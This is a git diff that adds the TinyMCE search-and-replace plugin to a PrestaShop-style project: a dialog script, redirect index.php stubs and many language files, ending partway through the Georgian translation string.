@@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/searchreplace/js/searchreplace.js b/js/tiny_mce2/plugins/searchreplace/js/searchreplace.js new file mode 100755 index 0000000..b1630ca --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/js/searchreplace.js @@ -0,0 +1,142 @@ +tinyMCEPopup.requireLangPack(); + +var SearchReplaceDialog = { + init : function(ed) { + var t = this, f = document.forms[0], m = tinyMCEPopup.getWindowArg("mode"); + + t.switchMode(m); + + f[m + '_panel_searchstring'].value = tinyMCEPopup.getWindowArg("search_string"); + + // Focus input field + f[m + '_panel_searchstring'].focus(); + + mcTabs.onChange.add(function(tab_id, panel_id) { + t.switchMode(tab_id.substring(0, tab_id.indexOf('_'))); + }); + }, + + switchMode : function(m) { + var f, lm = this.lastMode; + + if (lm != m) { + f = document.forms[0]; + + if (lm) { + f[m + '_panel_searchstring'].value = f[lm + '_panel_searchstring'].value; + f[m + '_panel_backwardsu'].checked = f[lm + '_panel_backwardsu'].checked; + f[m + '_panel_backwardsd'].checked = f[lm + '_panel_backwardsd'].checked; + f[m + '_panel_casesensitivebox'].checked = f[lm + '_panel_casesensitivebox'].checked; + } + + mcTabs.displayTab(m + '_tab', m + '_panel'); + document.getElementById("replaceBtn").style.display = (m == "replace") ? "inline" : "none"; + document.getElementById("replaceAllBtn").style.display = (m == "replace") ? "inline" : "none"; + this.lastMode = m; + } + }, + + searchNext : function(a) { + var ed = tinyMCEPopup.editor, se = ed.selection, r = se.getRng(), f, m = this.lastMode, s, b, fl = 0, w = ed.getWin(), wm = ed.windowManager, fo = 0; + + // Get input + f = document.forms[0]; + s = f[m + '_panel_searchstring'].value; + b = f[m + '_panel_backwardsu'].checked; + ca = f[m + '_panel_casesensitivebox'].checked; + rs = f['replace_panel_replacestring'].value; + + if (tinymce.isIE) { + r = ed.getDoc().selection.createRange(); + } + + if (s == '') + return; + + function fix() { + // Correct Firefox graphics glitches + // TODO: Verify if this is actually needed any more, maybe it was for very old FF versions? + r = se.getRng().cloneRange(); + ed.getDoc().execCommand('SelectAll', false, null); + se.setRng(r); + }; + + function replace() { + ed.selection.setContent(rs); // Needs to be duplicated due to selection bug in IE + }; + + // IE flags + if (ca) + fl = fl | 4; + + switch (a) { + case 'all': + // Move caret to beginning of text + ed.execCommand('SelectAll'); + ed.selection.collapse(true); + + if (tinymce.isIE) { + ed.focus(); + r = ed.getDoc().selection.createRange(); + + while (r.findText(s, b ? -1 : 1, fl)) { + r.scrollIntoView(); + r.select(); + replace(); + fo = 1; + + if (b) { + r.moveEnd("character", -(rs.length)); // Otherwise will loop forever + } + } + + tinyMCEPopup.storeSelection(); + } else { + while (w.find(s, ca, b, false, false, false, false)) { + replace(); + fo = 1; + } + } + + if (fo) + tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.allreplaced')); + else + tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.notfound')); + + return; + + case 'current': + if (!ed.selection.isCollapsed()) + replace(); + + break; + } + + se.collapse(b); + r = se.getRng(); + + // Whats the point + if (!s) + return; + + if (tinymce.isIE) { + ed.focus(); + r = ed.getDoc().selection.createRange(); + + if (r.findText(s, b ? -1 : 1, fl)) { + r.scrollIntoView(); + r.select(); + } else + tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.notfound')); + + tinyMCEPopup.storeSelection(); + } else { + if (!w.find(s, ca, b, false, false, false, false)) + tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.notfound')); + else + fix(); + } + } +}; + +tinyMCEPopup.onInit.add(SearchReplaceDialog.init, SearchReplaceDialog); diff --git a/js/tiny_mce2/plugins/searchreplace/langs/ar_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/ar_dlg.js new file mode 100755 index 0000000..4e6674b --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.searchreplace_dlg',{findwhat:"\u0627\u0628\u062d\u062b \u0639\u0646",replacewith:"\u0627\u0633\u062a\u0628\u062f\u0644 \u0628\u0640",direction:"\u0627\u0644\u0627\u062a\u062c\u0627\u0647",up:"\u0644\u0623\u0639\u0644\u0649",down:"\u0644\u0623\u0633\u0641\u0644",mcase:"\u062d\u0627\u0644\u0647 \u0627\u0644\u062a\u0637\u0627\u0628\u0642",findnext:"\u0627\u0628\u062d\u062b \u0639\u0646 \u0627\u0644\u062a\u0627\u0644\u0649",allreplaced:"\u062a\u0645\u062a \u0639\u0645\u0644\u064a\u0647 \u0627\u0644\u0627\u0633\u062a\u0628\u062f\u0627\u0644","searchnext_desc":"\u0628\u062d\u062b \u0645\u0631\u0647 \u0627\u062e\u0631\u0649",notfound:"\u0644\u0642\u062f \u0627\u0646\u062a\u0647\u0649 \u0627\u0644\u0628\u062d\u062b \u0648\u0644\u0645 \u0646\u0639\u062b\u0631 \u0639\u0644\u0649 \u0627\u0649 \u0646\u062a\u064a\u062c\u0647","search_title":"\u0628\u062d\u062b","replace_title":"\u0628\u062d\u062b/\u0627\u0633\u062a\u0628\u062f\u0627\u0644",replaceall:"\u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0627\u0644\u0643\u0644",replace:"\u0627\u0633\u062a\u0628\u062f\u0627\u0644"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/az_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/az_dlg.js new file mode 100755 index 0000000..d9085f8 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.searchreplace_dlg',{findwhat:"N\u0259 axtar\u0131ls\u0131n",replacewith:"N\u0259y\u0259 d\u0259yi\u015filsin",direction:"\u0130stiqam\u0259tl\u0259ndirm\u0259",up:"Yuxar\u0131",down:"A\u015fa\u011f\u0131",mcase:"Registr\u0131 n\u0259z\u0259r\u0259 al",findnext:"Sonrak\u0131n\u0131 axtar",allreplaced:"B\u00fct\u00fcn qar\u015f\u0131la\u015fm\u0131\u015f s\u0259trl\u0259r d\u0259yi\u015fdirildi.","searchnext_desc":"S\u00f6zl\u0259ri axtar",notfound:"Axtar\u0131\u015f bitdi. S\u0259tr tap\u0131lmad\u0131.","search_title":"Axtar","replace_title":"Axtar/D\u0259yi\u015f",replaceall:"Ham\u0131s\u0131n\u0131 d\u0259yi\u015f",replace:"D\u0259yi\u015f"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/bg_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/bg_dlg.js new file mode 100755 index 0000000..6560e0f --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.searchreplace_dlg',{findwhat:"\u0422\u044a\u0440\u0441\u0438",replacewith:"\u0417\u0430\u043c\u0435\u0441\u0442\u0438 \u0441",direction:"\u041f\u043e\u0441\u043e\u043a\u0430",up:"\u041d\u0430\u0433\u043e\u0440\u0435",down:"\u041d\u0430\u0434\u043e\u043b\u0443",mcase:"\u0421\u044a\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u044a\u0440\u0430",findnext:"\u0422\u044a\u0440\u0441\u0438 \u0441\u043b\u0435\u0434\u0432\u0430\u0449\u0438",allreplaced:"\u0412\u0441\u0438\u0447\u043a\u0438 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438 \u0434\u0443\u043c\u0438 \u0431\u044f\u0445\u0430 \u0437\u0430\u043c\u0435\u0441\u0442\u0435\u043d\u0438.","searchnext_desc":"\u0422\u044a\u0440\u0441\u0438 \u043e\u0442\u043d\u043e\u0432\u043e",notfound:"\u0422\u044a\u0440\u0441\u0435\u043d\u0435\u0442\u043e \u0437\u0430\u0432\u044a\u0440\u0448\u0438. \u0422\u044a\u0440\u0441\u0435\u043d\u0438\u0442\u0435 \u0434\u0443\u043c\u0438 \u043d\u0435 \u0431\u044f\u0445\u0430 \u043e\u0442\u043a\u0440\u0438\u0442\u0438.","search_title":"\u0422\u044a\u0440\u0441\u0438","replace_title":"\u0422\u044a\u0440\u0441\u0438/\u0417\u0430\u043c\u0435\u0441\u0442\u0438",replaceall:"\u0417\u0430\u043c\u0435\u0441\u0442\u0438 \u0432\u0441\u0438\u0447\u043a\u0438",replace:"\u0417\u0430\u043c\u0435\u0441\u0442\u0438"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/ca_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/ca_dlg.js new file mode 100755 index 0000000..da37295 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.searchreplace_dlg',{findwhat:"Cerca",replacewith:"Reempla\u00e7a amb",direction:"Direcci\u00f3",up:"Amunt",down:"Avall",mcase:"Distingeix maj\u00fascules/min\u00fascules",findnext:"Seg\u00fcent",allreplaced:"S\'han reempla\u00e7at totes les ocurr\u00e8ncies de la cadena cercada.","searchnext_desc":"Cerca de nou",notfound:"S\'ha completat la cerca. No s\'ha trobat la cadena cercada.","search_title":"Cerca","replace_title":"Cerca/Reempla\u00e7a",replaceall:"Reempla\u00e7a-ho tot",replace:"Reempla\u00e7a"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/cs_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/cs_dlg.js new file mode 100755 index 0000000..8165408 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.searchreplace_dlg',{findwhat:"Co hledat",replacewith:"\u010c\u00edm nahradit",direction:"Sm\u011br",up:"Nahoru",down:"Dol\u016f",mcase:"Rozli\u0161ovat velikost",findnext:"Naj\u00edt dal\u0161\u00ed",allreplaced:"V\u0161echny v\u00fdskyty byly nahrazeny.","searchnext_desc":"Naj\u00edt dal\u0161\u00ed",notfound:"Hled\u00e1n\u00ed bylo dokon\u010deno. Hledan\u00fd text nebyl nalezen.","search_title":"Naj\u00edt","replace_title":"Naj\u00edt/nahradit",replaceall:"Nahradit v\u0161e",replace:"Nahradit"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/da_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/da_dlg.js new file mode 100755 index 0000000..b551cea --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.searchreplace_dlg',{findwhat:"S\u00f8g efter",replacewith:"Erstat med",direction:"Retning",up:"Op",down:"Ned",mcase:"Forskel p\u00e5 store og sm\u00e5 bogstaver",findnext:"Find n\u00e6ste",allreplaced:"Alle forekomster af s\u00f8gestrengen er erstattet.","searchnext_desc":"S\u00f8g igen",notfound:"S\u00f8gningen gav intet resultat.","search_title":"S\u00f8g","replace_title":"S\u00f8g / erstat",replaceall:"Erstat alle",replace:"Erstat"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/de_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/de_dlg.js new file mode 100755 index 0000000..7c40acd --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.searchreplace_dlg',{findwhat:"Zu suchender Text",replacewith:"Ersetzen durch",direction:"Suchrichtung",up:"Aufw\u00e4rts",down:"Abw\u00e4rts",mcase:"Gro\u00df-/Kleinschreibung beachten",findnext:"Weitersuchen",allreplaced:"Alle Vorkommen der Zeichenkette wurden ersetzt.","searchnext_desc":"Weitersuchen",notfound:"Die Suche ist am Ende angelangt. Die Zeichenkette konnte nicht gefunden werden.","search_title":"Suchen","replace_title":"Suchen/Ersetzen",replaceall:"Alle ersetzen",replace:"Ersetzen"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/el_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/el_dlg.js new file mode 100755 index 0000000..10e564d --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.searchreplace_dlg',{findwhat:"\u0395\u03cd\u03c1\u03b5\u03c3\u03b7 \u03c4\u03bf\u03c5",replacewith:"\u0391\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bc\u03b5",direction:"\u039a\u03b1\u03c4\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7",up:"\u03a0\u03ac\u03bd\u03c9",down:"\u039a\u03ac\u03c4\u03c9",mcase:"\u03a4\u03b1\u03af\u03c1\u03b9\u03b1\u03c3\u03bc\u03b1 \u03ba\u03b5\u03c6\u03b1\u03bb\u03b1\u03af\u03b1/\u03bc\u03b9\u03ba\u03c1\u03ac",findnext:"\u0392\u03c1\u03b5\u03c2 \u03b5\u03c0\u03cc\u03bc\u03b5\u03bd\u03bf",allreplaced:"\u038c\u03bb\u03b5\u03c2 \u03bf\u03b9 \u03b5\u03bc\u03c6\u03b1\u03bd\u03af\u03c3\u03b5\u03b9\u03c2 \u03c4\u03bf\u03c5 \u03b6\u03b7\u03c4\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf\u03c5 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5 \u03b1\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03b1\u03c3\u03c4\u03ac\u03b8\u03b7\u03ba\u03b1\u03bd.","searchnext_desc":"\u0395\u03cd\u03c1\u03b5\u03c3\u03b7 \u03be\u03b1\u03bd\u03ac",notfound:"\u0397 \u03b1\u03bd\u03b1\u03b6\u03ae\u03c4\u03b7\u03c3\u03b7 \u03c4\u03b5\u03bb\u03b5\u03af\u03c9\u03c3\u03b5. \u03a4\u03bf \u03b6\u03b7\u03c4\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf \u03ba\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03b4\u03b5\u03bd \u03b2\u03c1\u03ad\u03b8\u03b7\u03ba\u03b5.","search_title":"\u0395\u03cd\u03c1\u03b5\u03c3\u03b7","replace_title":"\u0395\u03cd\u03c1\u03b5\u03c3\u03b7/\u0391\u03bd\u03b1\u03b6\u03ae\u03c4\u03b7\u03c3\u03b7",replaceall:"\u0391\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4. \u03cc\u03bb\u03c9\u03bd",replace:"\u0391\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/en_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/en_dlg.js new file mode 100755 index 0000000..8a65900 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.searchreplace_dlg',{findwhat:"Find What",replacewith:"Replace with",direction:"Direction",up:"Up",down:"Down",mcase:"Match Case",findnext:"Find Next",allreplaced:"All occurrences of the search string were replaced.","searchnext_desc":"Find Again",notfound:"The search has been completed. The search string could not be found.","search_title":"Find","replace_title":"Find/Replace",replaceall:"Replace All",replace:"Replace"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/es_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/es_dlg.js new file mode 100755 index 0000000..62e178d --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.searchreplace_dlg',{findwhat:"Qu\u00e9 buscar",replacewith:"Reemplazar por",direction:"Direcci\u00f3n",up:"Arriba",down:"Abajo",mcase:"Min\u00fas./May\u00fas.",findnext:"Buscar siguiente",allreplaced:"Se ha reemplazado el texto.","searchnext_desc":"Buscar de nuevo",notfound:"La b\u00fasqueda se ha completado. No se encontr\u00f3 el texto introducido.","search_title":"Buscar","replace_title":"Buscar/Reemplazar",replaceall:"Reemplazar todo",replace:"Reemplazar"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/et_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/et_dlg.js new file mode 100755 index 0000000..ef567f7 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.searchreplace_dlg',{findwhat:"Otsi mida",replacewith:"Asenda millega",direction:"Suund",up:"\u00dcles",down:"Alla",mcase:"Vasta suurusele",findnext:"Otsi j\u00e4rgmine",allreplaced:"K\u00f5ik otsis\u00f5na ilmingud on asendatud.","searchnext_desc":"Otsi uuesti",notfound:"Otsing on l\u00f5petatud. Otsis\u00f5na ei leitud.","search_title":"Otsi","replace_title":"Otsi/Asenda",replaceall:"Asenda k\u00f5ik",replace:"Asenda"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/fa_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/fa_dlg.js new file mode 100755 index 0000000..8efb26b --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.searchreplace_dlg',{findwhat:"\u062c\u0633\u062a\u062c\u0648\u06cc \u0686\u0647 \u0686\u06cc\u0632\u06cc",replacewith:"\u062a\u0639\u0648\u06cc\u0636 \u0628\u0627",direction:"\u062c\u0647\u062a",up:"\u0628\u0627\u0644\u0627",down:"\u067e\u0627\u06cc\u06cc\u0646",mcase:"\u0647\u0645\u0633\u0627\u0646 \u0628\u0648\u062f\u0646 \u062d\u0631\u0648\u0641",findnext:"\u062c\u0633\u062a\u062c\u0648\u06cc \u0628\u0639\u062f\u06cc",allreplaced:"\u062a\u0645\u0627\u0645\u06cc \u06a9\u0644\u0645\u0627\u062a \u06cc\u0627\u0641\u062a \u0634\u062f\u0647 \u062a\u063a\u06cc\u06cc\u0631 \u06cc\u0627\u0641\u062a\u0646\u062f","searchnext_desc":"\u062c\u0633\u062a\u062c\u0648\u06cc \u0645\u062c\u062f\u062f",notfound:"\u062c\u0633\u062a\u062c\u0648 \u06a9\u0627\u0645\u0644 \u0634\u062f. \u06a9\u0644\u0645\u0647 \u062c\u0633\u062a\u062c\u0648 \u0634\u062f\u0647 \u06cc\u0627\u0641\u062a \u0646\u0634\u062f","search_title":"\u062c\u0633\u062a\u062c\u0648","replace_title":"\u062c\u0633\u062a\u062c\u0648/\u062a\u0639\u0648\u06cc\u0636",replaceall:"\u062a\u0639\u0648\u06cc\u0636 \u0647\u0645\u0647",replace:"\u062a\u0639\u0648\u06cc\u0636"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/fi_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/fi_dlg.js new file mode 100755 index 0000000..c2617c3 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.searchreplace_dlg',{findwhat:"Etsit\u00e4\u00e4n",replacewith:"Korvataan",direction:"Suunta",up:"Yl\u00f6s",down:"Alas",mcase:"Huomioi isot ja pienet kirjaimet",findnext:"Etsi seuraavaa",allreplaced:"Kaikki l\u00f6ydetyt merkkijonot korvattiin.","searchnext_desc":"Etsi uudestaan",notfound:"Haku on valmis. Haettua teksti\u00e4 ei l\u00f6ytynyt.","search_title":"Haku","replace_title":"Etsi ja korvaa",replaceall:"Korvaa kaikki",replace:"Korvaa"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/fr_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/fr_dlg.js new file mode 100755 index 0000000..707b5c2 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.searchreplace_dlg',{findwhat:"Rechercher ceci",replacewith:"Remplacer par",direction:"Direction",up:"Vers le haut",down:"Vers le bas",mcase:"Sensible \u00e0 la casse",findnext:"Rechercher le suivant",allreplaced:"Toutes les occurrences de la cha\u00eene recherch\u00e9e ont \u00e9t\u00e9 remplac\u00e9es.","searchnext_desc":"Suivant",notfound:"La recherche est termin\u00e9e. La cha\u00eene recherch\u00e9e n\'a pas \u00e9t\u00e9 trouv\u00e9e.","search_title":"Rechercher","replace_title":"Rechercher / remplacer",replaceall:"Tout remplacer",replace:"Remplacer"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/gl_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/gl_dlg.js new file mode 100755 index 0000000..72be08c --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.searchreplace_dlg',{findwhat:"Localizar",replacewith:"Reemplazar por",direction:"Direcci\u00f3n",up:"Arriba",down:"Abaixo",mcase:"Min\u00fas./Mai\u00fas.",findnext:"Buscar seginte",allreplaced:"T\u00f3da-las coincidencias do texto buscado foron reemplazadas.","searchnext_desc":"Buscar outra vez",notfound:"A busca rematou. No se atopou o texto buscado.","search_title":"Buscar","replace_title":"Buscar/Reemplazar",replaceall:"Reemplazar todo",replace:"Reemplazar"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/he_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/he_dlg.js new file mode 100755 index 0000000..c5861bb --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.searchreplace_dlg',{findwhat:"\u05dc\u05d7\u05e4\u05e9 \u05d0\u05ea",replacewith:"\u05dc\u05d4\u05d7\u05dc\u05d9\u05e3 \u05d1",direction:"\u05db\u05d9\u05d5\u05d5\u05df",up:"\u05dc\u05de\u05e2\u05dc\u05d4",down:"\u05dc\u05de\u05d8\u05d4",mcase:"\u05d4\u05ea\u05d0\u05dd \u05d0\u05d5\u05ea\u05d9\u05d5\u05ea \u05e8\u05d9\u05e9\u05d9\u05d5\u05ea",findnext:"\u05d7\u05e4\u05e9 \u05d0\u05ea \u05d4\u05d1\u05d0",allreplaced:"\u05db\u05dc \u05e4\u05e8\u05d9\u05d8\u05d9 \u05d4\u05d7\u05d9\u05e4\u05d5\u05e9 \u05d4\u05d5\u05d7\u05dc\u05e4\u05d5","searchnext_desc":"\u05d7\u05d9\u05e4\u05d5\u05e9 \u05d4\u05d1\u05d0",notfound:"\u05d4\u05d7\u05d9\u05e4\u05d5\u05e9 \u05d4\u05e1\u05ea\u05d9\u05d9\u05dd. \u05e4\u05e8\u05d9\u05d8 \u05d4\u05d7\u05d9\u05e4\u05d5\u05e9 \u05dc\u05d0 \u05e0\u05de\u05e6\u05d0.","search_title":"\u05d7\u05d9\u05e4\u05d5\u05e9","replace_title":"\u05d7\u05d9\u05e4\u05d5\u05e9 \u05d5\u05d4\u05d7\u05dc\u05e4\u05d4",replaceall:"\u05d4\u05d7\u05dc\u05e4\u05ea \u05d4\u05db\u05dc",replace:"\u05d4\u05d7\u05dc\u05e4\u05d4"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/hu_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/hu_dlg.js new file mode 100755 index 0000000..4165838 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.searchreplace_dlg',{findwhat:"Mit keres",replacewith:"Mire cser\u00e9l",direction:"Ir\u00e1ny",up:"Fel",down:"Le",mcase:"Kis- \u00e9s nagybet\u0171k megk\u00fcl\u00f6nb\u00f6ztet\u00e9se",findnext:"K\u00f6vetkez\u0151",allreplaced:"A keresett r\u00e9szsz\u00f6veg minden el\u0151fordul\u00e1sa cser\u00e9lve lett.","searchnext_desc":"Keres\u00e9s megint",notfound:"A keres\u00e9s v\u00e9get \u00e9rt. A keresett sz\u00f6vegr\u00e9sz nem tal\u00e1lhat\u00f3.","search_title":"Keres\u00e9s","replace_title":"Keres\u00e9s/Csere",replaceall:"\u00d6sszes cser\u00e9je",replace:"Csere"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/id_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/id_dlg.js new file mode 100755 index 0000000..3d6ce65 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.searchreplace_dlg',{findwhat:"Cari apa...",replacewith:"Ganti dengan...",direction:"Arah",up:"Atas",down:"Bawah",mcase:"Match case",findnext:"Cari selanjutnya",allreplaced:"Seluruh kata dari string pencarian telah digantikan","searchnext_desc":"Cari Lagi",notfound:"Pencarian selesai. Hasil tidak ditemukan.","search_title":"Cari","replace_title":"Cari/Ganti",replaceall:"Ganti semua",replace:"Ganti"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/index.php b/js/tiny_mce2/plugins/searchreplace/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/searchreplace/langs/it_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/it_dlg.js new file mode 100755 index 0000000..da34e5d --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.searchreplace_dlg',{findwhat:"Trova:",replacewith:"Sostituisci con:",direction:"Direzione",up:"Avanti",down:"Indietro",mcase:"Maiuscole/minuscole",findnext:"Trova succ.",allreplaced:"Tutte le occorrenze del criterio di ricerca sono state sostituite.","searchnext_desc":"Trova successivo",notfound:"Ricerca completata. Nessun risultato trovato.","search_title":"Trova","replace_title":"Trova/Sostituisci",replaceall:"Sost. tutto",replace:"Sostituisci"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/ja_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/ja_dlg.js new file mode 100755 index 0000000..49adb0c --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.searchreplace_dlg',{findwhat:"\u691c\u7d22\u3059\u308b\u6587\u5b57\u5217",replacewith:"\u7f6e\u63db\u5f8c\u306e\u6587\u5b57\u5217",direction:"\u65b9\u5411",up:"\u4e0a\u3078",down:"\u4e0b\u3078",mcase:"\u5927\u6587\u5b57\u30fb\u5c0f\u6587\u5b57\u306e\u533a\u5225",findnext:"\u6b21\u3092\u691c\u7d22",allreplaced:"\u3059\u3079\u3066\u7f6e\u63db\u3057\u307e\u3057\u305f\u3002","searchnext_desc":"\u518d\u691c\u7d22",notfound:"\u691c\u7d22\u3092\u5b8c\u4e86\u3057\u307e\u3057\u305f\u3002\u691c\u7d22\u6587\u5b57\u5217\u306f\u898b\u3064\u304b\u308a\u307e\u305b\u3093\u3067\u3057\u305f\u3002","search_title":"\u691c\u7d22","replace_title":"\u691c\u7d22/\u7f6e\u63db",replaceall:"\u3059\u3079\u3066\u7f6e\u63db",replace:"\u7f6e\u63db"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/ka_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/ka_dlg.js new file mode 100755 index 0000000..fdf508f --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.searchreplace_dlg',{findwhat:"\u10eb\u10d4\u10d5\u10dc\u10d0",replacewith:"\u10e8\u10d4\u10ea\u10d5\u10da\u10d0 ..",direction:"\u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d0",up:"\u10d6\u10d4\u10db\u10dd\u10d7 ",down:"\u10e5\u10d5\u10d4\u10db\u10dd\u10d7",mcase:"\u10e0\u10d4\u10d2\u10d8\u10e1\u10e2\u10e0\u10d8\u10e1 \u10d2\u10d0\u10d7\u10d5\u10d0\u10da\u10d8\u10e1\u10ec\u10d8\u10dc\u10d4\u10d1\u10d0",findnext:"\u10d8\u10de\u10dd\u10d5\u10dc\u10d4 \u10e8\u10d4\u10db\u10d3\u10d4\u10d2",allreplaced:"\u10e7\u10d5\u10d4\u10da\u10d0 \u10db\u10dc\u10d8\u10e8\u10dc\u10d4\u10da\u10dd\u10d1\u10d0 